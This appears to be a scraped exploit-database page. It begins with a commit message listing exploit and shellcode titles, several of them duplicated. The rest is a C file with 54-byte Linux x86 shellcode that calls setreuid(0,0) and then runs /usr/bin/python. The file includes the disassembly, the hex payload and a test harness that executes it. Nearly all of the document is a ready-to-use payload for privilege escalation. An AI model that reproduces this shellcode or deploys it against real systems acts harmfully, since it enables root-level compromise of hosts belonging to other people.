880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
53 lines
No EOL
2 KiB
C
53 lines
No EOL
2 KiB
C
/*
|
|
# Title: Shellcode Linux x86 [54Bytes] Run /usr/bin/python | setreuid(),execve()
|
|
# Date: 8/5/2014
|
|
# Author: Ali Razmjoo
|
|
# Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]
|
|
*/
|
|
|
|
/*
|
|
Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
|
|
Shellcode Linux x86 Run /usr/bin/python | setreuid(),execve()
|
|
Shellcode Length: 54
|
|
|
|
|
|
00000000 <_start>:
|
|
0: 31 c0 xor %eax,%eax
|
|
2: b0 46 mov $0x46,%al
|
|
4: 31 db xor %ebx,%ebx
|
|
6: 31 c9 xor %ecx,%ecx
|
|
8: cd 80 int $0x80
|
|
a: eb 16 jmp 22 <last>
|
|
0000000c <first>:
|
|
c: 5b pop %ebx
|
|
d: 31 c0 xor %eax,%eax
|
|
f: 88 43 0f mov %al,0xf(%ebx)
|
|
12: 89 5b 10 mov %ebx,0x10(%ebx)
|
|
15: 89 43 14 mov %eax,0x14(%ebx)
|
|
18: b0 0b mov $0xb,%al
|
|
1a: 8d 4b 10 lea 0x10(%ebx),%ecx
|
|
1d: 8d 53 14 lea 0x14(%ebx),%edx
|
|
20: cd 80 int $0x80
|
|
00000022 <last>:
|
|
22: e8 e5 ff ff ff call c <first>
|
|
27: 2f das
|
|
28: 75 73 jne 9d <last+0x7b>
|
|
2a: 72 2f jb 5b <last+0x39>
|
|
2c: 62 69 6e bound %ebp,0x6e(%ecx)
|
|
2f: 2f das
|
|
30: 70 79 jo ab <last+0x89>
|
|
32: 74 68 je 9c <last+0x7a>
|
|
34: 6f outsl %ds:(%esi),(%dx)
|
|
35: 6e outsb %ds:(%esi),(%dx)
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";
|
|
|
|
int main(void)
|
|
{
|
|
fprintf(stdout,"Length: %d\n\n",strlen(sc));
|
|
(*(void(*)()) sc)();
|
|
} |